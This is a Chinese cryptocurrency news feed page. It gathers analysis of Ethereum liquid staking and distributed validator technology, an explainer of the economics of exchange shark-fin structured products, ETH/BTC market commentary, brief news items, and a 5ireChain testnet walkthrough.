1/3。故如果上海升级之后新质押比例达不到最大负荷，基于上述假设将出现以太坊质押率在 1–2 个月内出现微跌的情况；在基于刚兑与盈利等赎回需求出清之后恢复增长，以太坊质押率可能需要 1–2 年的时间才能实现翻倍增长。 来源：https://ethereum.org/zh/developers/docs/consensus-mechanisms/pos/rewards-and-penalties/ LSD 赛道可拓展为以太坊质押解决方案及其衍生品，包括四种以太坊质押解决方案相互竞争市场份额、DTV 技术保证安全性的同时扩展去中心化以及围绕 LSD 协议质押凭证诞生的二层收益增强产品及杠杆协议与指数产品。 图表 2： LSD 赛道全景 来源：LD Capital 2.1 四种质押解决方案中，LSD 市占率最高且有望进一步扩大 以太坊质押解决方案分为四种，包括单独质押、托管质押、流动性质押 LSD 与中心化交易所质押。其中 LSD 与中心化交易所质押由于解决了小资金参与、不需要硬件基础设施、通过质押凭证可以重新释放流动性等优势目前取得了绝大多数的市场份额。从节点数量的统计口径上来看目前 LSD 市场份额占比 33.4%、CEX 占比 27.5%、托管质押（Staking pool）占比 16.6%，单独质押占比 22.5%。 图表 3： 目前各种质押解决方案占比 来源：beaconchain，LD Capital 具体来看四种质押解决方案的基本情况： 图表 4： 4 种质押解决方案对比 来源： LDCapital 然而需要注意的是中心化交易所质押与 LSD 质押解决方案面临美国 SEC 的监管问题悬而未决。Staking 业务是否被认定为证券这件事一直没有权威解释，此前 Kraken 交易所的 Staking 业务被 SEC 打击，但尚未实质性波及到 Coinbase 与 Lido 等 LSD 协议主要原因是 Kraken 当时未公开用户资金去向，系黑箱操作，同时许诺了远超以太坊质押的高收益率招致监管打击。但在 Howie test 的角度来看，Kraken、Coinbase、Lido 等 LSD 协议都是通过托管用户资金的方式参与 Staking，并无本质的区别。故而目前 LSD 业务的发展面临来自美国监管的不确定性。 从产品角度来看，虽然上海升级之后质押的以太坊可以在一级市场赎回退出，但数量有限，按目前质押规模，每天可退出 1800 个节点对应 5.76 万枚 ETH。由于 LSD 协议的解决小资金参与质押、释放质押凭证的流动性、协议可组合增强收益率等优势使得其在上海升级之后依然会占据主要的市场份额。有可能出现在上海升级发生之后不久，由于早期单独质押或托管质押的 ETH 刚兑与获利退出使得 LSD 协议的整体市占率被动提升。从 LSD 协议竞争角度来看，目前影响各个 LSD 协议发展的因素包括知名度、收益率、资金安全、锚定情况、去中心化程度与组合性等维度，可结合该维度分析目前市场上主流的 LSD 协议之间的异同。 Lido 是目前 TVL 最大的 LSD 协议，是第二名 Rocket pool 的 13 倍。Lido 当前通过白名单机制筛选运营商，保证质押节点的良好运行以免影响收益率或造成资金罚没；同时 Lido 通过执行层复利使得其用户质押年化收益率在抽水 10% 之后维持在 4.5%-5% 这一较高水平上，在目前主流的 LSD 协议中仅次于 Frax，超过 Roceket pool、StakeWise、Anrk 等其他协议。需注意的是 Lido 将于 5 月中旬进行 V2 版本的升级，引入质押路由模块，允许任何人创建质押节点并接入 DVT，旨在保证网络稳定性与安全性的同时提升去中心化程度。 Rocket pool 的独特性在于质押节点无准入许可，任何人都可以通过创建一个 Minipool 成为该网络中的节点运营者；目前节点运营者需要存入 16 ETH（剩余的 16 ETH 来自用户存款）同时还需要最少质押价值 1.6 ETH 的 RPL Token 作为罚没的劣后资金；Rocket pool 目前会向平台上的节点运营者提供 RPL 补贴来激励节点部署。Rocket pool 将在一个月内进行 Atlas 升级，此次升级时 Rocket pool 上线以来最重要的一次升级，对其业务发展也将产生重大影响，升级的主要内容为：1、LEB16 — — LEB8：将节点运营者需最少质押 16 枚 ETH 降低为 8 枚，该举将大大改善目前 Rocket pool 拓展性受制于节点端的情况，假设节点运营商的 ETH 总量不变，理论上这一改进可以使得协议 TVL 翻倍，存款容量翻 3 倍，节点端的可拓展性打开以后，动态存款池的存款数量将成为观察 Rocket pool TVL 增长的先行指标； 2、节点激励进一步增加，排除 RPL 激励，LEB8 的节点奖励会比 LEB16 高 25%；3、推出工具使得 Solo Staker 不需要退出验证器完成迁移至 Rocket pool 平台；4、优化动态存款池，当 minipool 队列所需 ETH 超过 5000 个 ETH 上限时，存款池的上限也将随之增高。 Frax Ether 的特点在于其目前的高质押收益率。sfrxETH 之前的质押收益率维持在 7%～10%，原因在于 Frax 构建了 frxETH 与 sfrxETH 的双币模型，frxETH 与 ETH 在 Curve 组 LP 利用 Frax 本身的 CRV 治理资源获取 CRV 收益，而将所有的质押收益都分配给 sfrxETH；从整体上来看，Frax Ether 系统区别于其他流动性质押产品的高收益率来源于其多了一层 CRV 的奖励；该 CRV 奖励对于整体系统的收益增厚取决于 frxETH/ETH gauge pool 的占比、Frax Ether 系统的 TVL、CRV/ETH 的比价等因素。按目前情况测算，当 Frax Ether 的质押量达到 20 万枚 ETH 之时，sfrxETH 的质押收益将下降到 6% 左右。 上述三个主流 LSD 协议开辟了三种主要的 ETH 质押模式，其余的小型 LSD 协议主要针对上述三大协议的一些用户痛点进行改善与微调。如 Stafi 与 Stader 针对目前 Rocket pool 节点运营商需质押 16ETH，资金利用效率低与运营商被迫增加 RPL 风险敞口这一问题进行改进，其二者仅要求节点运营商质押 4 枚 ETH，同时为节点运营商提供不增加协议代币风险敞口的解决方案。但需要注意的是盲目降低节点运营商质押 ETH 的比例有可能会增大用户资金损失的风险，且与 Rocket pool 不同，目前 Stafi 面临用户资金端的增长压力。 图表 5： 3 大 LSD 协议比较 来源： LDCapital 目前从协议估值角度来看，无论是 FDV/Revenue 还是 FDV/TVL，Lido 都处于一个相对较低的水平，但 LDO 目前仅有治理权而 RPL 和 FXS 都有相应的代币赋能，应该享受相应的估值溢价。 Frax 目前持有约 350 万枚 CVX，是 CVXDAO 中最大的持有者 图表 6： 不同 LSD 协议的估值对比 来源： LD Capital，Token Terminal 3、DVT 产品将成为以太坊质押的重要基础设施 去中心化与安全保证是以太坊的精神内核，在此基础上分布式验证技术（DVT）应运而生。当前各种以太坊质押解决方案都面临去中心化与节点稳定运营的矛盾。以 Lido 与 Rocket pool 为代表，Lido 为了保证用户资金不会因为节点掉线、故障等原因招致损失，当前采用白名单的形式筛选合格运营商来保证出块的有效性、资金的可追溯与安全性，而这使得 Lido 目前存在中心化的问题；Rocket pool 通过节点与用户共同质押的方式绑定两者利益并通过节点抵押 RPL 做罚没劣后资金的形式进一步保证用户的资金安全，但这无疑提高了 Rocket pool 平台上运营节点的成本。目前 Rocket pool 通过使用 RPL 激励节点的方式来平衡，但这无疑增加了协议支出，也限制了协议的可拓展性。 而 DVT 产品通过碎片化验证私钥与领导节点轮换等技术解决方案使一个运营商与节点从一对一的状态变为多对一的状态，从底层网络架构的角度提升系统的安全性与鲁棒性同时允许更高的去中心化程度。 具体原理如下： DVT 由 4 个关键部分组成，分布式密钥生成 DKG、BLS 签名的 Shamir 密钥共享、多方安全计算和 IBFT 共识层，具体如下： 分布式密钥生成 DKG 是实现 DVT 的第一步，其作用是将一份验证者私碎片化成 3n+1 份，多份碎片化私钥对应多个运营商；DKG 技术是实现 DTV 产品的基石。BLS 签名的私钥共享与 DKG 互补，其目的是实现多方聚合签名，即能够将区块碎片化的签名组合成单个签名，因为 DKG 使得私钥碎片被多方持有，那么需要签名时则将多人的签名聚合为一个签名，碎片化私钥与多方聚合签名构成整个 DVT 产品的骨架。多方安全计算 (MPC) 的作用是将拆分的密钥安全地分配到各个节点之间，以执行验证者职责完成对网络信息的验证，而无需在单个设备上重建验证者密钥，消除了在计算期间集中私钥的风险。伊斯坦布尔拜占庭共识 IBFT 将在 DVT 节点中随机选择一个验证器作为领导节点，负责区块提议并等工作，如果单个集群中大多数节点同意该块有效，则将其添加到区块链中；如果领导节点离线，算法将在 12 秒内将重新选择领导节点以保证系统的稳定性。 总结来讲，DVT 通过 DKG 碎片化验证密钥分配给不同运营商，通过 BLS 私钥共享实现多方聚合签名，同时利用多方安全计算保障数据安全，最后通过 IBFT 领导节点轮换保证节点不会恶意出块或者因掉线影响整体收益，最终做到将一个验证者节点交由多个运营商运行，而非当前行业标准的单独运营，从而大大提升整体系统的鲁棒性。 SSV Network 构建了一个基于 DVT 的运营商网络，是 DVT 赛道中开发进展最快的产品，曾获以太坊基金会 18.8 万美元捐款与 Lido 10 万美元 LDO 捐赠。SSV Network 是目前唯一发币的标的，其 Token SSV 的主要用途为网络的支付手段与治理凭证。质押者在 SSV 网络参与质押需要向节点运营商支付运营费用，具体费用由各个运营商基于运营成本与市场竞争情况上决定；同时运营商目前需要支付其网络收入的 1/4 给 SSV 国库（收费标准由 DAO 决定），上述支付环节均需使用 SSV 代币。SSV 拟于 3 月 30 日召开社区会议讨论主网上线时间。 Obol Labs 致力于构建一个质押中间件 Charon，使得任意节点可以参与到 DV 集群的分布式验证器运行中。Obol 同样曾获得 Lido DAO 提供的 10 万美元 LDO 代币捐赠，并完成了由 Pantera Capital 与 Archetype 共同领投，Coinbase、Nascent、Block Tower 等机构参投的 1250 万美元 A 轮融资。开发进度方面，Obol 目前处于 Bia 公共测试网阶段，预计今年 6 月开启 Circe 测试网，之后完成主网上线；在开发进度上看其稍落后于 SSV。 Diva 是 DVT 赛道的新产品，目前完成了由 A&T Capital 领投，Gnosis、Bankless、OKX 等机构参投的 350 万美元种子轮融资，其将结合 LSD 与 DVT 两种模式，打造流动性质押与分布式验证一站式产品。 上海升级之后信标链上质押的以太坊可以提款，用户参与质押的意愿增强推动质押率的上升，带来 lsdETH 这一生息资产规模的扩大。故未来除了可能会出现越来越多的流动性质押协议，围绕 lsdETH 这一资产的 Defi 产品也将迎来全新的成长曲线。 去中心化交易所：lsdETH 的流动性构建是 lsd 协议最重要的一环，lsdETH/ETH 作为类似资产，其构建流动性的最佳选择当属 Curve 及其类似产品，如未来出现越来越多的 lsd 协议，围绕不同类型 lsdETH 流动性构建的问题可能会引发新一轮的 Curve war。需要指出的是目前在 Balancer 生态构建流动性的成本相较于 Curve 更低，同时由于 Balancer 的基本盘更小，故从边际变化的角度来看，lsdETH 的繁荣对 Balancer 生态的影响会高于 Curve（相关协议 Aura、Convex、Balancer、Curve）。 借贷协议：市场对使用 lsdETH 加杠杆的需求将会推动基于这一资产类别的借贷业务。目前存在两种主要的加杠杆需求：一是循环贷做收益增强，该业务目前以 AAVE 为代表，抵押 stETH 借出 ETH，最大 LTV90%，不考虑中间费用最大可上 10 倍杠杆；但该模式存在 ETH 借出利率偏高的问题（上海升级后 AAVE ETH 存款池的利率可能会和 ETH Staking 的利率搬平，这将使得 AAVE 中 ETH 的借款利率高于 Staking 利率，使得目前循环贷的需求消失），核心原因在于 ETH 的借款利率需要覆盖存款人的存款成本；未来可能以 CDP 的形式铸造锚定 ETH 的稳定币，通过更高效的流动性成本代替用户的存款成本，增强协议间可组合性的同时更好的满足用户加杠杆增强收益的需求（相关协议 AAVE、Compound）。二是抵押 lsdETH 借出稳定币以增加投资组合整体的风险敞口，亦可通过正常借贷和 CDP 两种模式运行（相关协议 Fraxlend、MakerDao）。 本息分离等衍生品：lsdETH 作为一种浮动收益率的生息资产，围绕其可催生本息分离与利率互换等金融衍生品。本息分离产品可以实现做空未来收益率（卖出利息代币买入本金代币，低杠杆倍率，通常用于提前锁定收益），做多未来收益率（卖出本金代币买入利息代币，高杠杆倍率，通常满足投机需求）与收益增强。在 LSD 爆发之前，本息分离等衍生品的底层生息资产主要集中在稳定币的 LP，由于该部分资产规模相较于 lsdETH 小，且收益率相较于 lsdETH 低，还存在流动性分割的问题，故 lsdETH 这一资产的起量将极大程度的推动本息分离产品的业务发展（相关协议 Pendle、Element、Sense）。 再质押：再质押的概念由 Eigenlayer 提出。Eigenlayer 是一个在基础客户端修改以太坊的协议，允许验证者重新抵押他们的 ETH 权益并行验证其他协议，例如预言机和数据可用性模块。需要注意的是，Eigenlayer 赋予 staked ETH 第二重收益率但牺牲了部分代币的流动性同时需要用户承担额外的 AVS（Actively validated services）安全性，增加了一层 Restaked ETH 的罚没风险。 图表 7： 基于 lsdETH 的下游产品一览 来源： LDCapital  ( 7 min )
    币安发布内置于应用程序的DeFi钱包，支持无助记词使用
    PANews 3月31日消息，币安推出由其 ID 提供支持、直接内置于币安应用程序并使用 MPC 技术保护的 DeFi 钱包，支持从 CeFi 到 DeFi 转账、跨链、钱包恢复、无需助记词。目前，该钱包支持 BNB Chain 与以太坊，将支持更多链。此外，该钱包还嵌入币安 ID、生物识别身份验证、钱包连接支持与 SBT 等高级功能。  ( 1 min )
    鲨鱼鳍理财科普：揭秘CEX理财“保本保收益”的背后真相
    原文：《保本保收益？——鲨鱼鳍理财科普》 很多中心化交易所都有推出自己的鲨鱼鳍理财产品，产品的收益率曲线像一个鲨鱼鳍，因此得名鲨鱼鳍理财，其特点是在保本保收益的基础上在标的价格区间内给理财产品购买者提供了更高的收益。 这篇文章的主要目的是为了科普鲨鱼鳍理财背后的金融逻辑，以及让用户明白鲨鱼鳍理财的收益来源，以及交易所又如何通过鲨鱼鳍理财获得收益。 我一直很喜欢一句话“如果你不知道收益的来源是什么，那么你就是收益来源。”。 如果你曾经购买过鲨鱼鳍理财，或者打算购买鲨鱼鳍理财，这篇文章值得你仔细阅读 二、什么是鲨鱼鳍理财 大多数用户在中心化交易所（CEX）看到的鲨鱼鳍理财，其本质都是由一个固定收理财 + 鲨鱼鳍期权组成。 鲨鱼鳍期权又称为敲出期权（knock-out options），属于障碍期权 (barrier options) 的一种。期权合约会事先设置好标的资产的价格区间，如果在合约约定的时间范围内，标的资产价格始终处于该区间中，这个期权就是一个普通的看涨或看跌期权；一旦标的资产价格跳出了该区间，该期权将自动敲出作废敲出期权根据大家的多空方向不同，又可以分为向上 / 向下敲出 + 看跌 / 看涨期权。其背后的逻辑是一样的，因此下面我们就以向上敲出看涨期权为例来介绍。 如下图所示，是一份向上敲出看涨期权的收益与标的价格关系图。横坐标为标的资产价格，纵坐标为这份期权的收益。 这份看涨期权的行权价格为 X，敲出价格为 Y，标的资产价格为 S，期权的价格为 C。 假设这是一份欧式看涨期权（只有到期日才能行权）， 如果到期日的标的资产价格未超过 Y。 如果 S>X, 则收益为 S-X-C，最大收益为 Y-X-C 如果 S 如果到期日标的资产价格超过 Y，则期权被敲出， S>Y, 则收益为 -C 也就是说，当你购入你一份向上敲出鲨鱼鳍期权，在期权到期日如果标的资产价格在[X+C,Y] 之间，你是能获利的，在此区间外你会承受购买期权费的损失。 看到这你可能会有疑问，明明你购买的交易所鲨鱼鳍理财都是保本的，最坏的情况也不会亏，怎么跟上面说的不太一致。所以这里就要引入另一个概念，固定收益产品。 传统概念中的固定收益产品可以理解为将大部分资金（80% 以上）投入债券、大额存单、信托资管计划等标的的理财产品。风险较低，收益也相对较小。如果投资的标的是国债等资产，就可以理解为无风险的保本理财。比如你现在去买期限为一年的美国国债，你的保本无风险收益大概是 4.6%（现在明白加息的威力了吧）。 而对于中心化交易所来说，他们的选择就更多了，不论是自身交易所提供的杠杆借贷业务还是去链上 DEFI 应用中寻找风险较低的收益策略，都能获得不错的低风险收益（肯定比国债高得多） 用户购买鲨鱼鳍理财的大部分资金会被用于投资固定收益类产品，这部分收益的产品能够覆盖鲨鱼鳍期权的购买成本并且提供不错的“保底”收益。 当购买的用户多了，就有了规模效应，简单理解就是你拿着一万元去银行存定期可能只能有 2.5% 的年化收益率，但是如果你有一个亿你去找银行谈，银行可能可以给你 5% 的收益率。这也是为什么你发现有时候鲨鱼鳍理财提供的保底收益比你自己找到的还要多。规模效应是原因之一，当然还有其他更多诸如加杠杆等其他原因，这里就不深入了。 了解了基础知识，下面以一个模拟的案例为例，为你测算购买鲨鱼鳍理财后，你的收益以及中心化交易所的收益分别是如何构成的，看完后相信你能对这个理财产品有更充分的认识。 下图为某交易所提供的理财产品 从产品介绍中你能看出，这个收益图很像是一份带了敲入和敲出价格的看涨鲨鱼鳍期权。当结算日 BTC 价格在 26300-28300 之间时你能获得的收益在 5.02%-19.0% 之间。如果价格在此区间之外，那么你的收益是 5%。 下面会模拟一个用户购买鲨鱼鳍理财后，交易所构建理财底层资产的过程，因为无法得知交易所背后具体的投资标的，因此只能从市场上找相关类似的投资标的来进行模拟，最后得出的各方收益不代表真实结果。 假设用户买入 100,000U 的鲨鱼鳍理财，交易所会把这 100,000U 分成两部分，一部分进行固定收益投资，此部分构成了鲨鱼鳍理财的保底部分，一部分去构建一个期权组合，这部分构成了鲨鱼鳍的鳍状部分。 1、投资者角度 如果到期日 BTC 价格低于 26300 或者高于 28300，用户的年化收益率都是 5%，也就是说用户可以收到的钱是 100,000*(1+5%*7⁄365)=100,095.89 元 如果到期日 BTC 价格在区间范围内，假设为 27300，那么用户的收益为 100000*（1+12%*7/365）=100230.3288U 2、交易所角度 对于投资者来说，不论什么情况，都是赚钱的，只是赚多赚少的问题。但是交易所不是慈善机构，交易所也一定是赚钱的，下面来看看交易所怎么赚钱。 前面说了，交易所会拿投资者的大部分资金投资于固定收益类产品，少部分钱去买鲨鱼鳍期权。加密货币行业目前我没有发现哪里有公开渠道在卖鲨鱼鳍期权，所以大多数交易所要么是自己在卖鲨鱼鳍期权，或者是用市场上现有的产品去构造 (Synthetic Options)（这部分我不是 100% 确定，有交易所的朋友欢迎指正）。 交易所赚钱有两个关键点： • 足够高的固定收益 • 最精确的鲨鱼鳍期权定价 因为鲨鱼鳍理财要保底，所以必须保证固定收益部分的收益要大于购买或构造鲨鱼鳍期权的成本。 固定收益部分比较好解决，我们假设交易所手上的 U 的年化收益有 10%（相对低风险，愿意承受高风险的话收益率可以更高，这里我们假设交易所还是稳健风格为主） 鲨鱼鳍期权的价格计算方式大概有三种： • 公式计算 • 蒙特卡洛模拟 • 用其他期权构造 公式计算和蒙特卡洛模拟相对复杂，我可以放一个计算公式的截图，你看完就不想再了解了，下图是向上敲出看涨期权的期权定价公式： 重点说说 (Synthetic Options) 期权构造的方式，因为我暂时没想到什么方法用香草期权完美复制鲨鱼鳍期权的方法，所以这里用一种近似模拟的方式用香草期权来模拟鲨鱼鳍期权，这也是最不精确的一种方式，但今天的目的是科普，而不是学术讨论，大家明白大概意思就行。 还是以我们上面假设的案例为例，交易所可以通过普通的看涨期权来模拟出最终收益曲线与鲨鱼鳍期权近似的产品。交易所可以买入一份行权价为 26300 的看涨期权，再卖出两份行权价为 28300 的看涨期权。以此来模拟一份鲨鱼鳍期权。以 Bybit 提供的期权价格为例，上面这个模拟鲨鱼鳍看涨期权的价格约为 1570-2*584=402U。当市场波动率处于正常水平时这个模拟产品的价格会高于真正的鲨鱼鳍期权，所以大概率交易所构造这个期权的成本会更低。 前置科普工作完成，下面我们都来当一次交易所，帮投资者构造一个鲨鱼鳍产品。 交易所拿到用户前面投资的 100,000U 之后，可以拿出其中的 92.46U 去购买 0.23 个我们前面构造的模拟鲨鱼鳍期权。剩下的 99,907.54U 拿去投资 DEFI 固定收益类产品，年化收益为 10%。 来看看 7 天，产品到期后会发生什么 情景一 如果到期日 BTC 价格低于 26300，投资者可以得到100,095.89U。交易所通过投资这 100,000 得到的钱为 固定收益部分：99907.54*（1+10%/365*7）=100,099.14U， 鲨鱼鳍期权部分：0U 这种情况最终交易所赚了 4U。 情景二 如果到期日 BTC 价格为 27300，投资者可以得到100230.33U。交易所通过投资这 100,000 得到的钱为 固定收益部分 99907.54*（1+10%/365*7）=100,099.14U 鲨鱼鳍期权部分：0.23*（27300-26300）=230U 这种情况最终交易所赚了99.47U。 情景三 如果到期日 BTC 价格为 29000U，投资者可以得到100,095.89U。交易所通过投资者 100,000 得到的钱为 固定收益部分 99907.54*（1+10%/365*7）=100,099.14U 鲨鱼鳍期权部分：0.23*（28300-26300）-0.23*（29000-28300）=299U 这种情况最终交易所赚了302.25U 至此，交易所通过固定收益 + 期权的方式实现了在不同情形下都赚钱的策略。 总的来说，鲨鱼鳍理财的实质就是投资者购买了固定收益理财 + 鲨鱼鳍期权。而 *对于交易所来说，是否能够赚钱以及赚钱的本质其实来源于交易所是否能够找到尽可能低风险但是高收益的 DeFi 收益产品，以及是否能够以足够低的价格或者成本构造出鲨鱼鳍期权。因为前面我们假设交易所能以 10% 的收益率进行 USDT 的固定理财投资，但如果这个收益率下降为 5%。那么上述的几种情况交易所是会亏钱的。 回到我最初说的一句话“如果你不知道收益的来源是什么，那么你就是收益来源” ,看到这聪明的朋友已经发现了，其实鲨鱼鳍理财并不是 100% 的保本。你可以想象一下交易所如果为了获取较高的固定收益，把你的 USDT 换成了 UST，投入了 Terra，换取年化 20% 的收益，之后会发生什么。这种时候，有良心，想持续经营的交易所会选择自己垫钱，刚性兑付，那还能实现保本。但更有可能的情况是什么，大家这两年应该也看到了。 最后的最后，其实明白鲨鱼鳍理财的原理并不能让你赚的更多，就像我看似挺懂原理的，但交易所也不会因为我更懂就给我更高的收益率。 但我认为我们应该为自己做的每一笔投资负责，了解底层逻辑不是为了赚的更多，而是为了当有一天有人拿着一个很吸引人的理财产品摆到你面前时，你能很快的反应出其中的风险点，避免上当受骗。 愿人人会两袖青蛇，愿人人可剑开天门  ( 2 min )
    ETH\BTC汇率处于半年内低位，以太坊会引领强势补涨行情吗？
    原文：《比特币一季度表现远超以太坊，以太坊会补涨吗？》 作者：比推BitpushNews Mary Liu 一季度行情即将接近尾声，比推终端数据显示，以太坊年初至今 (YTD) 上涨了 50.02%，但比特币却飙升了 72.30%，有望创下两年来最佳的季度表现。 自从以太坊近八年前开始交易以来，它与比特币的相关性就一直在增加。根据IntoTheBlock (ITB) 的数据，在 2016 年和 2017 年，比特币与以太坊的 100 天相关性平均为 35%（其中 100% 表示完全相关，-100% 表示完全逆相关），这一数字在 2018 年跃升至 66%，在 2019 年跃升至 77%，然后在2022年达到 87% 以上。截至发稿时，以太坊与比特币的价格相关性目前为 0.98，处于月度高位。 过去几年，尤其是在 2020 年和 2021 年 Covid-19的加密牛市期间，以太坊相对于比特币的表现是碾压级的。@DanniiAshmore发布的数据显示，自 2020 年 4 月以来，ETH/BTC上涨了 2.53 倍。 因此，与大多数山寨币一样，以太坊在牛市中的表现往往优于比特币，而在熊市中表现不佳。因为在市场情绪低迷时期，投资者更愿意押注较为“稳定”的投资标的，而不是冒险买入山寨币。在 FTX、Celsius、LUNA等项目内爆后，加密市场可能会因为太多的恐惧和不确定性缩减山寨币头寸。 本月初，在美国三家银行倒闭以及美联储启动紧急融资计划以遏制银行业恐慌之后，市场对美联储政策转向的预期有所增强。投资者猜测，以美联储为首的中央银行将放弃激进的加息以应对衰退信号，美股和加密市场因此提振。 比推终端数据显示，自 3 月 8 日硅谷银行事件爆发后，BTC 的表现一直优于 ETH，这表明 BTC 仍然是投资者的首选避险资产，与其他代币相比，比特币是一种更好的多元化投资工具。 作为第一大山寨币，以太坊与比特币的价值主张完全不同。比特币是一种纯粹的去中心化货币系统，兼作价值储存。而以太坊除了作为货币之外拥有了越来越多的用例：数字收藏品、预测市场、元宇宙社区和区块链游戏，加密社区的许多成员认为，以太坊市值最终将超过比特币。 截至发稿时，BTC 和 ETH 之间的市值差异非常大，ETH 的市值为 214,376,317,596 美元，BTC 是 ETH 的两倍多，目前约为 539,661,509,934 美元。 加密交易员 KALEO（@CryptoKaleo）目前对 ETH/BTC 持看跌立场，认为未来几天 ETH/BTC 将继续下跌。KALEO 分析称，BTC 从 3 月 10 日的低点 19,528 美元反弹至 22,000 美元的水平，并在 2022 年 3 月触及 1.6 的斐波那契回撤位，而 ETH 未能达到类似的峰值。接下来，32,000 美元至 33,000 美元是比特币继续上涨需要突破的重要水平。 “交易所储备”指标衡量当前存储在所有中心化交易所钱包中的代币总量，投资者将其持有的资产转移到交易所的主要原因之一是出于出售目的，因此该指标上升可能意味着投资者在减持。 CryptoQuant分析师指出，投资者一直在将比特币存入交易所，但在本月早些时候跌破 20,000 美元时有所下降，这表明在低点附近出现了一些新的买盘。与比特币非常相似，以太坊交易所储备在局部低点附近暴跌，但在最近的反弹期间也呈上升趋势。 然而，流入的速度是不同的。BTC 的流入速度很快，这波涨势中BTC流入交易平台的总数超过了在低谷时流出的数量，而 ETH 的流入速度较为平缓，远未达到近期低点之前的水平。分析师认为，这可能表明以太坊尚未面临与比特币相同强度的抛售压力，即使在BTC涨势结束后，ETH仍可望继续强势上涨。 此外，以太坊 Shapella 硬分叉预计将于 4 月在主网上生效，这一变化将允许之前存入 32 ETH 的验证者部分或全部解锁，潜在的 176 万个 ETH 流入市场或对代币价格不利。但从乐观的角度来看，每日可解除质押的验证器数量有上限，用户还可以在 Lido、Rocket Pool 等去中心化金融 (DeFi) 应用程序之间选择收益机制，因此 Shapella 升级不一定会对市场造成抛压。  ( 2 min )
    视频｜ FTX债权人邮件收到了吗？马斯克呼吁立刻停止训练AI！美国政府竟是比特币巨鲸
    00:00 内容预告 00:35 迪士尼裁撤元宇宙部门 01:11 EigenLabs完成5000万美元融资 01:41 比特小鹿将上市纳斯达克 02:11 美国扣押56亿美元比特币  02:37 马斯克呼吁停止训练AI系统 03:12 美国、韩国要求引渡Do Kwan 03:50 交通、中国、浦发银行考虑加密友好 04:22 SUI推出永久测试网 04:54 FTX向债权人发送邮件  05:40 CFTC起诉币安、CZ  06:20 PARTY AWARD 2023榜单揭晓 06:48 好文推荐 12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓： https://www.panewslab.com/zh/articledetails/ldm8goy2.html 文章推荐： 加密“无间道”，CFTC向币安发难背后或与FTX有染？ https://www.panewslab.com/zh/articledetails/xyf3qitw.html  ( 1 min )
    意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息
    PANews 3月31日消息，据金十报道，意大利数据保护机构对OpenAI公司非法收集用户信息展开调查。意大利个人数据保护局今天宣布，即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的美国人工智能公司OpenAI处理意大利用户信息。同时，意大利个人数据保护局指出，本月20日，ChatGPT平台出现了“用户对话数据和付款服务支付信息丢失”的情况。此外，该平台没有就收集处理用户信息进行告知，缺乏大量收集和存储个人信息的法律依据。OpenAI公司“必须在20天内通过其在欧洲的代表向意大利个人数据保护局通报公司执行保护局要求而采取的措施”，否则将被处以最高2千万欧元或公司全球年营业额4%的罚款。  ( 1 min )
    银行业危机已成过去，美联储注意力重回“高通胀”
    来源：华尔街见闻 作者：何浩 美联储官员们在最新讲话中继续强调降低通胀的必要性。周四共有三位美联储高级官员发言，他们的立场与上周美联储主席鲍威尔表态相呼应，也即尽管银行业面临压力，但政策制定者们不会因此不顾恢复价格稳定的责任。 波士顿联储主席Collins表示，美国通胀仍然过高，最近的指标强化了这一观点，即要将通胀率降至2%的目标，还有更多工作要做。 Collins认为，加息25个基点是“适当”的步伐，这样美联储可以将利率提高到足够高，以抑制通胀。 Collins在今年的FOMC会议上不拥有表决权。 明尼阿波利斯联储主席Kashkari指出，银行业压力的持续时间往往比政策制定者们最初预期的要长。但他认为，现在判断银行业危机将对经济产生什么影响还为时过早。 Kashkari强调，美联储还需要关注降低通胀。当前美国通胀过高，而且尽管美联储在过去12个月里进行了一系列激进的加息，但不包括住房的服务业通胀仍然很高。 “经济中服务业部分的通胀尚未放缓，虽然我们想要更高的工资，但工资增长速度快于2%的通胀目标。这说明，要使经济中的服务业恢复平衡，我们还有更多工作要做。” Kashkari曾是2008-2009年时期，美国政府应对金融危机的核心人物。他在今年的FOMC会议上拥有表决权。 里士满联储主席Barkin表示，他准备继续对抗通胀。但他同时表示，鉴于银行业的不确定性及其对更广泛经济的影响，他对美联储下一步利率变动的规模还没有偏好。 “如果通胀持续存在，我们可以通过进一步加息来应对。就在几周前，一些人还呼吁加息50个基点。” 上周，美联储如期加息25个基点，令基准的联邦基金利率升至4.75%-5%目标区间，为2007年9月、即金融危机爆发前夕以来的最高水平。 美联储的决议声明删除了“持续加息适宜”，改为“一些额外的政策紧缩可能是适当的”，被解读为鸽派论调。“点阵图”仍维持今年底利率预期在5.1%不变，或只能再温和加息一次。 美联储在声明中表示，美国银行业健康、有韧性，但警告诸多倒闭事件将拖累经济增长，市场对年内降息的押注升温。 本月早些时候，硅谷银行引发的银行危机一度令部分官员的立场有所软化。美联储主席鲍威尔上周在新闻发布会上透露，在3月FOMC会议开始的前几天，美联储曾考虑过暂停加息，但加息行动得到FOMC成员强有力的一致支持，因为通胀太高。 从美国PMI数据中就可以看到通胀的端倪。上周，标准普尔全球公布的美国3月PMI数据初值显示，3月服务业和制造业PMI回升，其中服务业明显更强劲，但代价是通胀重燃——3月销售价格的调查指标以更快的速度增长。通胀上升是由服务业价格上涨带动的，这在很大程度上与工资增长更快有关。  ( 1 min )
    融资1.2亿美元EVM新公链5ireChain推出测试网，该如何交互？
    原文：《融资1.2亿美元项目5ireChain测试交互教程》 5ireChain公链项目是一个兼容layer-1 EVM的智能合约平台，目前项目融资1.2亿美元，对于特大高融资项目，那是肯定不能放过的，还有对于总是疑惑做了会不会有空投的，你要明白，这是不一定的，当然我挑选项目的风格经常看我推特的人应该了解，出现在我的推文中是有原因的，不会为了糊弄大家而作，尽量花去的时间有足够大的收获。 在这里不过多对项目本身多做研究性解释，有兴趣可以查资料查资料看看 通过页面提示项，点击下载5ire钱包，这个项目的特别之处钱包处已经显现，需要手动下载钱包文件解压后，拖入chrome扩展程序，完成钱包创建 下载完成后，找到下载未解压的文件夹先完成解压，解压后找到如下文件夹拖入扩展程序 首先点击“管理扩展程序” 将解压的指定文件在“开发者模式”下拖入空白处完成5ire钱包插件扩展 完成以上准备工作后，开始进行钱包地址创建，一定要保存好助记词和私匙，通过点击浏览器页面右顶端“扩展程序”找到5ire钱包 保存好助记词和私匙 注意输入密码时需要大小写字母数字和特殊字符才能创建成功，新的钱包地址创建完成后进入测试网测试 先打开5ire钱包，调换到**“swap”功能，复制native地址** 进入测试网领取测试代币 成功领取测试代币后，进入钱包进行交互点击swap输入适当数量代币完成交互 点击swap交互完成后native地址的代币被发送到evm地址 